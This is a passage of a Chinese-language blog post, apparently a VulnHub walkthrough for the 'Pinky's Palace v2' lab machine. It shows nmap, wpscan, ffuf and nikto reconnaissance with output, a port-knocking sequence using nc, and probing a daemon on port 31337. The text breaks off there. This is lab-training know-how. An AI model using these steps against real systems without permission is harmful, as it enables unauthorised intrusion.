{"id":384,"date":"2024-02-27T17:49:27","date_gmt":"2024-02-27T09:49:27","guid":{"rendered":"http:\/\/162.14.82.114\/?p=384"},"modified":"2024-03-15T21:17:33","modified_gmt":"2024-03-15T13:17:33","slug":"vulnhub-pinkys-palace","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/384\/02\/27\/2024\/","title":{"rendered":"Vulnhub&#8211;PINKY&#8217;S PALACE"},"content":{"rendered":"<h1>PINKY'S PALACE: V2<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747001.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747001.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226144951286\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u6253\u5f00\u9776\u573a\u770b\u4e00\u4e0b\uff0c\u624b\u8d31\uff0c\u628a\u786c\u76d8\u5220\u6389\u4e86\u518d\u5220\u9664\u4e86\u3002\u3002\u3002\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747003.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747003.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226151959375\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<p>\u6b64\u65f6\u66f4\u65b0\u865a\u62df\u673a\u4e3a16.0\u6216\u8005\u91cd\u65b0\u5bfc\u5165\u5c31\u53ef\u4ee5\u4e86\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747004.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747004.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226152438229\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u8fd9\u4e2a100G\u6709\u70b9\u552c\u4eba\u3002\u3002\u3002\u3002\u6253\u5f00\u770b\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747005.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747005.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226152551399\" style=\"zoom: 67%;\" \/><\/div><\/p>\n<p>\u770b\u8d77\u6765ip\u6b63\u786e\uff01\uff01\uff01\uff01<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747006.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747006.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226153314549\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u626b\u5230\u4e86\uff0c\u653b\u51fb\u5f00\u59cb\uff01<\/p>\n<p>\u5148\u6309\u7167\u4f5c\u8005\u8981\u6c42\u7684\u5199\u4ee5\u4e0b\u4ee3\u7801\uff1a<\/p>\n<pre><code class=\"language-bash\">echo 192.168.244.131 pinkydb | sudo tee -a \/etc\/hosts\n# 192.168.244.131 pinkydb<\/code><\/pre>\n<p>\u8bbf\u95ee\u4e00\u4e0b:<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747007.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747007.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226154237183\" \/><\/div><\/p>\n<h2>\u4fe1\u606f\u641c\u96c6<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">nmap -sS -sV -T4 -p- 192.168.244.131 <\/code><\/pre>\n<pre><code class=\"language-text\">Starting Nmap 7.94SVN ( https:\/\/nmap.org ) at 2024-02-26 02:36 EST\nNmap scan report for 192.168.244.131\nHost is up (0.00023s latency).\nNot shown: 65531 closed tcp ports (reset)\nPORT      STATE    SERVICE VERSION\n80\/tcp    open     http    Apache httpd 2.4.25 ((Debian))\n4655\/tcp  filtered unknown\n7654\/tcp  filtered unknown\n31337\/tcp filtered Elite\nMAC Address: 00:0C:29:4F:74:E9 (VMware)\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .        \nNmap done: 1 IP address (1 host up) scanned in 17.66 seconds    <\/code><\/pre>\n<h3>Wappalyzer<\/h3>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747008.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747008.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226154503800\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>Wpscan<\/h3>\n<p>\u770b\u5230\u662f<code>wordpress<\/code>\u7684CMS\uff0c\u5c1d\u8bd5\u8fdb\u884c<code>Wpscan<\/code>\u626b\u63cf\uff1a<\/p>\n<pre><code class=\"language-bash\">wpscan --url http:\/\/192.168.244.131 --api-token=xxxxx<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747009.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747009.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226160830687\" \/><\/div><\/p>\n<p>\u626b\u51fa\u4e86\u5f88\u591a\u7684\u6f0f\u6d1e\uff0c\u4f46\u662f\u6211\u4eec\u5148\u5c1d\u8bd5\u4e00\u4e0b\u5176\u4ed6\u7684\u529e\u6cd5\u3002<\/p>\n<p>\u518d\u5c1d\u8bd5\u626b\u63cf\u4e00\u4e0b\u7528\u6237\uff1a<\/p>\n<pre><code class=\"language-bash\">wpscan --url http:\/\/pinkydb\/ --enumerate u<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747010.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747010.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226161309546\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n<p>\u4eca\u5929\u6362\u4e00\u4e2a\u5de5\u5177<code>fuff<\/code>\u8bd5\u8bd5\uff1a<\/p>\n<pre><code class=\"language-bash\">ffuf -u http:\/\/pinkydb\/FUZZ -w \/usr\/share\/seclists\/Discovery\/Web-Content\/common.txt<\/code><\/pre>\n<pre><code class=\"language-text\">        \/&#039;___\\  \/&#039;___\\           \/&#039;___\\       \n       \/\\ \\__\/ \/\\ \\__\/  __  __  \/\\ \\__\/       \n       \\ \\ ,__\\\\ \\ ,__\\\/\\ \\\/\\ \\ \\ \\ ,__\\      \n        \\ \\ \\_\/ \\ \\ \\_\/\\ \\ \\_\\ \\ \\ \\ \\_\/      \n         \\ \\_\\   \\ \\_\\  \\ \\____\/  \\ \\_\\       \n          \\\/_\/    \\\/_\/   \\\/___\/    \\\/_\/       \n\n       v2.1.0-dev\n________________________________________________\n\n :: Method           : GET\n :: URL              : http:\/\/pinkydb\/FUZZ\n :: Wordlist         : FUZZ: \/usr\/share\/seclists\/Discovery\/Web-Content\/common.txt\n :: Follow redirects : false\n :: Calibration      : false\n :: Timeout          : 10\n :: Threads          : 40\n :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500\n________________________________________________\n\n.hta                    [Status: 403, Size: 286, Words: 22, Lines: 12, Duration: 5ms]\n.htaccess               [Status: 403, Size: 291, Words: 22, Lines: 12, Duration: 6ms]\n.htpasswd               [Status: 403, Size: 291, Words: 22, Lines: 12, Duration: 150ms]\nsecret                  [Status: 301, Size: 303, Words: 20, Lines: 10, Duration: 0ms]\nserver-status           [Status: 403, Size: 295, Words: 22, Lines: 12, Duration: 0ms]\nwordpress               [Status: 301, Size: 306, Words: 20, Lines: 10, Duration: 0ms]\nwp-admin                [Status: 301, Size: 305, Words: 20, Lines: 10, Duration: 0ms]\nwp-content              [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 0ms]\nwp-includes             [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 0ms]\nxmlrpc.php              [Status: 405, Size: 42, Words: 6, Lines: 1, Duration: 48ms]\nindex.php               [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 7ms]\n:: Progress: [4723\/4723] :: Job [1\/1] :: 20 req\/sec :: Duration: [0:00:10] :: Errors: 0 ::<\/code><\/pre>\n<h3>Nikto\u626b\u63cf<\/h3>\n<p>\u5c1d\u8bd5\u626b\u63cf\u4e00\u4e0b\u76f8\u5173\u6f0f\u6d1e\uff1a<\/p>\n<pre><code class=\"language-bash\">nikto -h http:\/\/pinkydb<\/code><\/pre>\n<pre><code class=\"language-text\">- Nikto v2.5.0\n---------------------------------------------------------------------------\n+ Target IP:          192.168.244.131\n+ Target Hostname:    pinkydb\n+ Target Port:        80\n+ Start Time:         2024-02-26 03:31:04 (GMT-5)\n---------------------------------------------------------------------------\n+ Server: Apache\/2.4.25 (Debian)\n+ \/: The anti-clickjacking X-Frame-Options header is not present. See: https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/X-Frame-Options\n+ \/: Drupal Link header found with value: &lt;http:\/\/pinkydb\/index.php?rest_route=\/&gt;; rel=&quot;https:\/\/api.w.org\/&quot;. See: https:\/\/www.drupal.org\/\n+ \/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https:\/\/www.netsparker.com\/web-vulnerability-scanner\/vulnerabilities\/missing-content-type-header\/\n+ No CGI Directories found (use &#039;-C all&#039; to force check all possible dirs)\n+ Apache\/2.4.25 appears to be outdated (current is at least Apache\/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.\n+ \/: Web Server returns a valid response with junk HTTP methods which may cause false positives.\n+ \/: DEBUG HTTP verb may show server debugging information. See: https:\/\/docs.microsoft.com\/en-us\/visualstudio\/debugger\/how-to-enable-debugging-for-aspnet-applications?view=vs-2017\n+ \/secret\/: Directory indexing found.\n+ \/secret\/: This might be interesting.\n+ \/icons\/README: Apache default file found. See: https:\/\/www.vntweb.co.uk\/apache-restricting-access-to-iconsreadme\/\n+ \/wp-content\/plugins\/akismet\/readme.txt: The WordPress Akismet plugin &#039;Tested up to&#039; version usually matches the WordPress version.\n+ \/wordpress\/wp-content\/plugins\/akismet\/readme.txt: The WordPress Akismet plugin &#039;Tested up to&#039; version usually matches the WordPress version.\n+ \/wp-links-opml.php: This WordPress script reveals the installed version.\n+ \/license.txt: License file found may identify site software.\n+ \/: A WordPress installation was found.\n+ \/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. See: https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Cookies\n+ \/wp-login.php: WordPress login found.\n+ 7851 requests: 0 error(s) and 16 item(s) reported on remote host\n+ End Time:           2024-02-26 03:31:23 (GMT-5) (19 seconds)\n---------------------------------------------------------------------------<\/code><\/pre>\n<h3>\u7f51\u9875\u5206\u6790<\/h3>\n<p>\u5230\u5904\u70b9\u70b9\uff0c\u67e5\u770b\u5230\u4e86\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747011.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747011.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226161808864\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u6f0f\u6d1e\u5229\u7528<\/h2>\n<h3>\u5148\u67e5\u770b\u4e00\u4e0b\u76f8\u5173\u76ee\u5f55<\/h3>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747012.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747012.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226161951727\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-apl\">8890\n7000\n666\npinkydb<\/code><\/pre>\n<h3>\u7aef\u53e3Knock<\/h3>\n<blockquote>\n<p>\u7aef\u53e3\u78b0\u649e\u662f\u4e00\u79cd<strong>\u901a\u8fc7\u5728\u4e00\u7ec4\u9884\u5148\u6307\u5b9a\u7684\u5173\u95ed\u7aef\u53e3\u4e0a\u4ea7\u751f\u8fde\u63a5\u8bf7\u6c42\uff0c\u4ece\u5916\u90e8\u6253\u5f00\u9632\u706b\u5899\u4e0a\u7684\u7aef\u53e3\u7684\u65b9\u6cd5<\/strong>\u3002\u4e00\u65e6\u6536\u5230\u6b63\u786e\u7684\u8fde\u63a5\u8bf7\u6c42\u5e8f\u5217\uff0c\u9632\u706b\u5899\u89c4\u5219\u5c31\u4f1a\u88ab\u52a8\u6001\u4fee\u6539\uff0c\u4ee5\u5141\u8bb8\u53d1\u9001\u8fde\u63a5\u8bf7\u6c42\u7684\u4e3b\u673a\u901a\u8fc7<strong>\u7279\u5b9a\u7aef\u53e3<\/strong>\u8fdb\u884c\u8fde\u63a5\u3002<\/p>\n<p>\u7aef\u53e3\u78b0\u649e\u7684\u4e3b\u8981\u76ee\u7684\u662f\u9632\u6b62\u653b\u51fb\u8005\u901a\u8fc7\u8fdb\u884c\u7aef\u53e3\u626b\u63cf\u6765\u626b\u63cf\u7cfb\u7edf\u4e2d\u6f5c\u5728\u7684\u53ef\u5229\u7528\u670d\u52a1\uff0c\u56e0\u4e3a\u9664\u975e\u653b\u51fb\u8005\u53d1\u9001\u6b63\u786e\u7684\u78b0\u649e\u5e8f\u5217\uff0c\u5426\u5219\u53d7\u4fdd\u62a4\u7684\u7aef\u53e3\u5c06\u663e\u793a\u4e3a\u5173\u95ed\u3002<\/p>\n<p>\u4f8b\u5982\u5728\u670d\u52a1\u5668\u4e0a\u8bbe\u7f6e\u4e3a\uff1a\u670d\u52a1\u5668\u63a5\u6536\u5230\u540c\u4e00\u4e2a\u7528\u6237\u7684\u5bf9\u7aef\u53e32048\u30012049\u30012055\u30012058\u8fde\u63a5\u5e8f\u5217\u5c1d\u8bd5\u540e\uff0c\u5219\u670d\u52a1\u5668\u6253\u5f00TCP\u670d\u52a1\u7aef\u53e3\u53f728\uff0c\u8be5\u7528\u6237\u53ef\u4ee5\u901a\u8fc7\u8be5\u7aef\u53e3\u8fdb\u884c\u8fdc\u7a0b\u5de5\u4f5c\uff0c\u8fde\u63a5\u7ed3\u675f\u540e\u81ea\u52a8\u5173\u95ed\u8be5\u670d\u52a1\u7aef\u53e3\u3002<\/p>\n<\/blockquote>\n<p>\u770b\u4e0a\u53bb\u662f\u7aef\u53e3\uff0c\u4f46\u662f\u524d\u9762\u6ca1\u6709\u626b\u51fa\u6765\uff0c\u5c1d\u8bd5<code>Knock<\/code>\u4e00\u4e0b\u8bd5\u8bd5\uff1a<\/p>\n<pre><code class=\"language-bash\">for port in {8890,7000,666}; do nc -vz pinkydb $port; done\npinkydb [192.168.244.131] 8890 (?) : Connection refused\npinkydb [192.168.244.131] 7000 (bbs) : Connection refused\npinkydb [192.168.244.131] 666 (?) : Connection refused<\/code><\/pre>\n<p>\u5c1d\u8bd5\u91cd\u65b0\u8fdb\u884c\u626b\u63cf\u4e00\u4e0b\uff0c\u89c2\u5bdf\u662f\u5426\u6709\u9057\u6f0f\u7684\uff1a<\/p>\n<pre><code class=\"language-bash\">rustscan -a pinkydb<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747013.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747013.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226164817574\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5c1d\u8bd5\u4e0d\u540c\u7684\u7aef\u53e3\u987a\u5e8f\u8fdb\u884cknock\uff1a<\/p>\n<pre><code class=\"language-bash\">for port in {7000,8890,666}; do nc -vz pinkydb $port; done\nfor port in {7000,666,8890}; do nc -vz pinkydb $port; done<\/code><\/pre>\n<p>\u8fd9\u65f6\u5019\u5c31\u53ef\u4ee5\u626b\u5230\u5176\u4ed6\u7684\u7aef\u53e3\u4e86\uff01\uff01\uff01<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747014.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747014.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226170224483\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u8fd9\u65f6\u5019nmap\u5c1d\u8bd5\u626b\u63cf\u4e00\u4e0b\u76f8\u5173\u7aef\u53e3\u5f00\u653e\u670d\u52a1\u7684\u7248\u672c\u3002<\/p>\n<pre><code class=\"language-bash\">sudo nmap -p 4655,7654,31337 -sV pinkydb<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747015.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402271747015.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240226170441771\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u53d1\u73b0\u4e86\u4e00\u4e2a\u672a\u77e5\u670d\u52a1\uff0c\u8fd0\u884c\u5728<code>31337<\/code>\u7aef\u53e3\uff1a<\/p>\n<blockquote>\n<p>31337\u7aef\u53e3\u662fmeterpreter \u7684bindshell\u65b9\u5f0f\u7ecf\u5e38\u4f7f\u7528\u7684\u7aef\u53e3\uff0cnc\u5728\u6d4b\u8bd5\u65f6\u5019\u4f1a\u5411\u8fd9\u4e2a\u7aef\u53e3\u53d1\u9001\u8bf7\u6c42\uff0c\u8fd9\u4e2a\u7a0b\u5e8f\u4f1a\u56de\u663e\u8f93\u5165\u7684\u5b57\u7b26\u540e\u5173\u95ed\u8fde\u63a5\uff0c\u4e0d\u6392\u9664\u5b58\u5728\u6ea2\u51fa\u7684\u53ef\u80fd\u3002<\/p>\n<\/blockquote>\n<p>\u5c1d\u8bd5\u8fde\u63a5\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">nc pinkydb 31337<\/code><\/pre>\n<p>\u53d1\u73b0\u662f\u4e00\u4e2a\u6253\u5370\u5b57\u7b26\u4e32\u7684\u7a0b\u5e8f\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ nc pinkydb 31337\n[+] Welcome to The Daemon [+]\nThis is soon to be our backdoor\ninto Pinky&#039;s Palace.\n=&gt; a \na                                                    \n\u250c\u2500\u2500(kali\u327fkali)-[~]\n\u2514\u2500$ nc pinkydb 31337\n[+] Welcome to The Daemon [+]\nThis is soon to be our backdoor\ninto Pinky&#039;s 